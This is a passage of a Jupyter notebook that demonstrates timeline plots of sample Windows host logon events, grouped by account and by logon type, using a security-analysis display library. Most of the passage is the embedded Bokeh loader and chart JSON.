!== true) {\n", " var cell = $(document.getElementById(\"2375\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", " }\n", "\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", " run_inline_js();\n", " } else {\n", " load_libs(css_urls, js_urls, function() {\n", " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", " run_inline_js();\n", " });\n", " }\n", "}(window));" ], "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2375\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };var element = document.getElementById(\"2375\");\n if (element == null) {\n console.error(\"Bokeh: ERROR: autoload.js configured with elementid '2375' but no matching script tag was found. \")\n return false;\n }\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2375\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "\n", "\n", "\n", "\n", "\n", "
\n" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "(function(root) {\n", " function embed_document(root) {\n", " \n", " var docs_json = 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4.3,\"start\":1547515271728.7},\"id\":\"2383\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"2491\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"2397\",\"type\":\"BasicTicker\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"2487\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"2477\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"source\":{\"id\":\"2376\",\"type\":\"ColumnDataSource\"}},\"id\":\"2459\",\"type\":\"CDSView\"},{\"attributes\":{\"text\":\"Timeline: Logons by logon type\"},\"id\":\"2381\",\"type\":\"Title\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"2379\",\"type\":\"HoverTool\"},{\"id\":\"2401\",\"type\":\"WheelZoomTool\"},{\"id\":\"2402\",\"type\":\"BoxZoomTool\"},{\"id\":\"2403\",\"type\":\"ResetTool\"},{\"id\":\"2404\",\"type\":\"SaveTool\"},{\"id\":\"2405\",\"type\":\"PanTool\"}]},\"id\":\"2406\",\"type\":\"Toolbar\"},{\"attributes\":{\"callback\":null,\"data\":{\"Account\":[\"MSTICAlertsWin1\\\\adm1nistrator\"],\"LogonType\":[3],\"TargetLogonId\":[\"0xfb5ee6\"],\"TimeGenerated\":{\"__ndarray__\":\"ALAP9P6EdkI=\",\"dtype\":\"float64\",\"shape\":[1]},\"index\":[2],\"y_index\":[0]},\"selected\":{\"id\":\"2491\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"2490\",\"type\":\"UnionRenderers\"}},\"id\":\"2376\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2467\",\"type\":\"Diamond\"},{\"attributes\":{\"callback\":null,\"end\":2.3333333333333335,\"start\":-0.3333333333333333},\"id\":\"2385\",\"type\":\"Range1d\"},{\"attributes\":{\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":{\"id\":\"2392\",\"type\":\"DatetimeTicker\"}},\"id\":\"2395\",\"type\":\"Grid\"},{\"attributes\":{\"callback\":null,\"data\":{\"Account\":[\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\",\"NT AUTHORITY\\\\SYSTEM\"],\"LogonType\":[5,5,5,5,5,5,5,5,5,5,5],\"TargetLogonId\":[\"0x3e7\",\"0x3e7\",\"0x3e7\",\"0x3e7\",\"0x3e7\",\"0x3e7\",\"0x3e7\",\"0x3e7\",\"0x3e7\",\"0x3e7\",\"0x3e7\"],\"TimeGenerated\":{\"__ndarray__\":\"AHCb8/6EdkIA0CX1/oR2QgBQCfb+hHZCABCzePiEdkIAUEV5+IR2QgAQTWn2hHZCAPDeafaEdkIAQE/J8oR2QgCgGfTyhHZCAJDayPeEdkIAsG3J94R2Qg==\",\"dtype\":\"float64\",\"shape\":[11]},\"index\":[1,3,4,6,7,8,9,10,11,12,13],\"y_index\":[2,2,2,2,2,2,2,2,2,2,2]},\"selected\":{\"id\":\"2495\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"2494\",\"type\":\"UnionRenderers\"}},\"id\":\"2378\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"2493\",\"type\":\"Selection\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"2453\",\"type\":\"DatetimeTickFormatter\"},\"ticker\":{\"id\":\"2392\",\"type\":\"DatetimeTicker\"}},\"id\":\"2391\",\"type\":\"DatetimeAxis\"},{\"attributes\":{},\"id\":\"2403\",\"type\":\"ResetTool\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"lightgrey\"},\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":{\"value\":1.0},\"line_color\":{\"value\":\"black\"},\"line_dash\":[4,4],\"line_width\":{\"value\":2},\"render_mode\":\"css\",\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"2496\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"source\":{\"id\":\"2378\",\"type\":\"ColumnDataSource\"}},\"id\":\"2469\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"2495\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"2389\",\"type\":\"LinearScale\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"2483\",\"type\":\"DaysTicker\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"2478\",\"type\":\"AdaptiveTicker\"},{\"id\":\"2479\",\"type\":\"AdaptiveTicker\"},{\"id\":\"2480\",\"type\":\"AdaptiveTicker\"},{\"id\":\"2481\",\"type\":\"DaysTicker\"},{\"id\":\"2482\",\"type\":\"DaysTicker\"},{\"id\":\"2483\",\"type\":\"DaysTicker\"},{\"id\":\"2484\",\"type\":\"DaysTicker\"},{\"id\":\"2485\",\"type\":\"MonthsTicker\"},{\"id\":\"2486\",\"type\":\"MonthsTicker\"},{\"id\":\"2487\",\"type\":\"MonthsTicker\"},{\"id\":\"2488\",\"type\":\"MonthsTicker\"},{\"id\":\"2489\",\"type\":\"YearsTicker\"}]},\"id\":\"2392\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#208F8C\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#208F8C\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2461\",\"type\":\"Diamond\"},{\"attributes\":{\"source\":{\"id\":\"2377\",\"type\":\"ColumnDataSource\"}},\"id\":\"2464\",\"type\":\"CDSView\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"2486\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2481\",\"type\":\"DaysTicker\"},{\"attributes\":{\"dimension\":1,\"grid_line_alpha\":0.3,\"grid_line_color\":\"navy\",\"minor_grid_line_alpha\":0.1,\"minor_grid_line_color\":\"navy\",\"ticker\":{\"id\":\"2397\",\"type\":\"BasicTicker\"}},\"id\":\"2400\",\"type\":\"Grid\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"tooltips\":[[\"Account\",\"@Account\"],[\"TargetLogonId\",\"@TargetLogonId\"],[\"LogonType\",\"@LogonType\"]]},\"id\":\"2379\",\"type\":\"HoverTool\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2480\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2462\",\"type\":\"Diamond\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"2484\",\"type\":\"DaysTicker\"},{\"attributes\":{\"formatter\":{\"id\":\"2477\",\"type\":\"BasicTickFormatter\"},\"ticker\":{\"id\":\"2397\",\"type\":\"BasicTicker\"},\"visible\":false},\"id\":\"2396\",\"type\":\"LinearAxis\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"2453\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"2485\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2457\",\"type\":\"Diamond\"}],\"root_ids\":[\"2380\"]},\"title\":\"Bokeh Application\",\"version\":\"1.4.0\"}};\n", " var render_items = [{\"docid\":\"7867e60a-cba7-4b2f-9a4d-0c3210131e04\",\"roots\":{\"2380\":\"1f256e3b-03e8-4695-99e9-759570642a0d\"}}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " } else {\n", " var attempts = 0;\n", " var timer = setInterval(function(root) {\n", " if (root.Bokeh !== undefined) {\n", " clearInterval(timer);\n", " embed_document(root);\n", " } else {\n", " attempts++;\n", " if (attempts > 100) {\n", " clearInterval(timer);\n", " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n", " }\n", " }\n", " }, 10, root)\n", " }\n", "})(window);" ], "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "2380" } }, "output_type": "display_data" } ], "source": [ "host_logons = pd.read_csv('data/host_logons.csv',\n", " parse_dates=[\"TimeGenerated\"], \n", " infer_datetime_format=True)\n", "\n", "nbdisplay.display_timeline(host_logons,\n", " title=\"Logons by Account name\",\n", " group_by=\"Account\",\n", " source_columns=[\"Account\", \"TargetLogonId\", \"LogonType\"],\n", " legend=\"left\",\n", " height=200);\n", "\n", "nbdisplay.display_timeline(host_logons,\n", " title=\"Logons by logon type\",\n", " group_by=\"LogonType\",\n", " source_columns=[\"Account\", \"TargetLogonId\", \"LogonType\"],\n", " legend=\"left\",\n", " height=200,\n", " range_tool=False,\n", " ygrid=True);" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Displaying a reference line\n", "If you have a single item (e.g. an alert) that you want to show as a reference point on the graph you can pass a datetime value, or any object that has a TimeGenerated or StartTimeUtc property. \n", "\n", "If the object doesn't have one of these, just pass the property as the ref_time parameter." ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "ExecuteTime": { "end_time": "2020-01-30T20:46:29.429665Z", "start_time": "2020-01-30T20:46:29.332696Z" } }, "outputs": [ { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "\n", "(function(root) {\n", " function now() {\n", " return new Date();\n", " }\n", "\n", " var force = true;\n", "\n", " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", " root._bokeh_onload_callbacks = [];\n", " root._bokeh_is_loading = undefined;\n", " }\n", "\n", " var JS_MIME_TYPE = 'application/javascript';\n", " var HTML_MIME_TYPE = 'text/html';\n", " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", " var CLASS_NAME = 'output_bokeh rendered_html';\n", "\n", " /**\n", " * Render data to the DOM node\n", " */\n", " function render(props, node) {\n", " var script = document.createElement(\"script\");\n", " node.appendChild(script);\n", " }\n", "\n", " /**\n", " * Handle when an output is cleared or removed\n", " */\n", " function handleClearOutput(event, handle) {\n", " var cell = handle.cell;\n", "\n", " var id = cell.output_area._bokeh_element_id;\n", " var server_id = cell.output_area._bokeh_server_id;\n", " // Clean up Bokeh references\n", " if (id != null && id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", "\n", " if (server_id !== undefined) {\n", " // Clean up Bokeh references\n", " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", " cell.notebook.kernel.execute(cmd, {\n", " iopub: {\n", " output: function(msg) {\n", " var id = msg.content.text.trim();\n", " if (id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", " }\n", " }\n", " });\n", " // Destroy server and session\n", " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", " cell.notebook.kernel.execute(cmd);\n", " }\n", " }\n", "\n", " /**\n", " * Handle when a new output is added\n", " */\n", " function handleAddOutput(event, handle) {\n", " var output_area = handle.output_area;\n", " var output = handle.output;\n", "\n", " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", " return\n", " }\n", "\n", " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", "\n", " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", " // store reference to embed id on output_area\n", " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", " }\n", " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", " var bk_div = document.createElement(\"div\");\n", " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", " var script_attrs = bk_div.children[0].attributes;\n", " for (var i = 0; i < script_attrs.length; i++) {\n", " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", " }\n", " // store reference to server id on output_area\n", " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", " }\n", " }\n", "\n", " function register_renderer(events, OutputArea) {\n", "\n", " function append_mime(data, metadata, element) {\n", " // create a DOM node to render to\n", " var toinsert = this.create_output_subarea(\n", " metadata,\n", " CLASS_NAME,\n", " EXEC_MIME_TYPE\n", " );\n", " this.keyboard_manager.register_events(toinsert);\n", " // Render to node\n", " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", " render(props, toinsert[toinsert.length - 1]);\n", " element.append(toinsert);\n", " return toinsert\n", " }\n", "\n", " /* Handle when an output is cleared or removed */\n", " events.on('clear_output.CodeCell', handleClearOutput);\n", " events.on('delete.Cell', handleClearOutput);\n", "\n", " /* Handle when a new output is added */\n", " events.on('output_added.OutputArea', handleAddOutput);\n", "\n", " /**\n", " * Register the mime type and append_mime function with output_area\n", " */\n", " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", " /* Is output safe? */\n", " safe: true,\n", " /* Index of renderer in `output_area.display_order` */\n", " index: 0\n", " });\n", " }\n", "\n", " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", " if (root.Jupyter !== undefined) {\n", " var events = require('base/js/events');\n", " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", "\n", " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", " register_renderer(events, OutputArea);\n", " }\n", " }\n", "\n", " \n", " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", " root._bokeh_timeout = Date.now() + 5000;\n", " root._bokeh_failed_load = false;\n", " }\n", "\n", " var NB_LOAD_WARNING = {'data': {'text/html':\n", " \"
\\n\"+\n", " \"

\\n\"+\n", " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", " \"

\\n\"+\n", " \"\\n\"+\n", " \"\\n\"+\n", " \"from bokeh.resources import INLINE\\n\"+\n", " \"output_notebook(resources=INLINE)\\n\"+\n", " \"\\n\"+\n", " \"
\"}};\n", "\n", " function display_loaded() {\n", " var el = document.getElementById(\"2635\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", " if (root.Bokeh !== undefined) {\n", " if (el != null) {\n", " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", " }\n", " } else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(display_loaded, 100)\n", " }\n", " }\n", "\n", "\n", " function run_callbacks() {\n", " try {\n", " root._bokeh_onload_callbacks.forEach(function(callback) {\n", " if (callback != null)\n", " callback();\n", " });\n", " } finally {\n", " delete root._bokeh_onload_callbacks\n", " }\n", " console.debug(\"Bokeh: all callbacks have finished\");\n", " }\n", "\n", " function load_libs(css_urls, js_urls, callback) {\n", " if (css_urls == null) css_urls = [];\n", " if (js_urls == null) js_urls = [];\n", "\n", " root._bokeh_onload_callbacks.push(callback);\n", " if (root._bokeh_is_loading > 0) {\n", " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", " return null;\n", " }\n", " if (js_urls == null || js_urls.length === 0) {\n", " run_callbacks();\n", " return null;\n", " }\n", " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", "\n", " function on_load() {\n", " root._bokeh_is_loading--;\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", " run_callbacks()\n", " }\n", " }\n", "\n", " function on_error() {\n", " console.error(\"failed to load \" + url);\n", " }\n", "\n", " for (var i = 0; i < css_urls.length; i++) {\n", " var url = css_urls[i];\n", " const element = document.createElement(\"link\");\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.rel = \"stylesheet\";\n", " element.type = \"text/css\";\n", " element.href = url;\n", " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", " document.body.appendChild(element);\n", " }\n", "\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", " var element = document.createElement('script');\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.async = false;\n", " element.src = url;\n", " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", " document.head.appendChild(element);\n", " }\n", " };var element = document.getElementById(\"2635\");\n", " if (element == null) {\n", " console.error(\"Bokeh: ERROR: autoload.js configured with elementid '2635' but no matching script tag was found. \")\n", " return false;\n", " }\n", "\n", " function inject_raw_css(css) {\n", " const element = document.createElement(\"style\");\n", " element.appendChild(document.createTextNode(css));\n", " document.body.appendChild(element);\n", " }\n", "\n", " \n", " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n", " var css_urls = [];\n", " \n", "\n", " var inline_js = [\n", " function(Bokeh) {\n", " Bokeh.set_log_level(\"info\");\n", " },\n", " function(Bokeh) {\n", " \n", " \n", " }\n", " ];\n", "\n", " function run_inline_js() {\n", " \n", " if (root.Bokeh !== undefined || force === true) {\n", " \n", " for (var i = 0; i < inline_js.length; i++) {\n", " inline_js[i].call(root, root.Bokeh);\n", " }\n", " if (force === true) {\n", " display_loaded();\n", " }} else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(run_inline_js, 100);\n", " } else if (!root._bokeh_failed_load) {\n", " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", " var cell = $(document.getElementById(\"2635\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", " }\n", "\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", " run_inline_js();\n", " } else {\n", " load_libs(css_urls, js_urls, function() {\n", " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", " run_inline_js();\n", " });\n", " }\n", "}(window));" ], "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
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\n" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "(function(root) {\n", " function embed_document(root) {\n", " \n", " var docs_json = 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AUTHORITY\\\\SYSTEM\"],\"LogonType\":[5,5,5,5,5,5,5,5,5,5,5],\"TargetLogonId\":[\"0x3e7\",\"0x3e7\",\"0x3e7\",\"0x3e7\",\"0x3e7\",\"0x3e7\",\"0x3e7\",\"0x3e7\",\"0x3e7\",\"0x3e7\",\"0x3e7\"],\"TimeGenerated\":{\"__ndarray__\":\"AHCb8/6EdkIA0CX1/oR2QgBQCfb+hHZCABCzePiEdkIAUEV5+IR2QgAQTWn2hHZCAPDeafaEdkIAQE/J8oR2QgCgGfTyhHZCAJDayPeEdkIAsG3J94R2Qg==\",\"dtype\":\"float64\",\"shape\":[11]},\"index\":[1,3,4,6,7,8,9,10,11,12,13],\"y_index\":[2,2,2,2,2,2,2,2,2,2,2]},\"selected\":{\"id\":\"2764\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"2763\",\"type\":\"UnionRenderers\"}},\"id\":\"2638\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"data_source\":{\"id\":\"2637\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"2699\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2700\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"2702\",\"type\":\"CDSView\"}},\"id\":\"2701\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"align\":\"right\",\"text\":\"Drag the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":{\"value\":\"10px\"}},\"id\":\"2690\",\"type\":\"Title\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"2747\",\"type\":\"AdaptiveTicker\"},{\"id\":\"2748\",\"type\":\"AdaptiveTicker\"},{\"id\":\"2749\",\"type\":\"AdaptiveTicker\"},{\"id\":\"2750\",\"type\":\"DaysTicker\"},{\"id\":\"2751\",\"type\":\"DaysTicker\"},{\"id\":\"2752\",\"type\":\"DaysTicker\"},{\"id\":\"2753\",\"type\":\"DaysTicker\"},{\"id\":\"2754\",\"type\":\"MonthsTicker\"},{\"id\":\"2755\",\"type\":\"MonthsTicker\"},{\"id\":\"2756\",\"type\":\"MonthsTicker\"},{\"id\":\"2757\",\"type\":\"MonthsTicker\"},{\"id\":\"2758\",\"type\":\"YearsTicker\"}]},\"id\":\"2652\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2705\",\"type\":\"Circle\"},{\"attributes\":{\"days\":[\"%m-%d 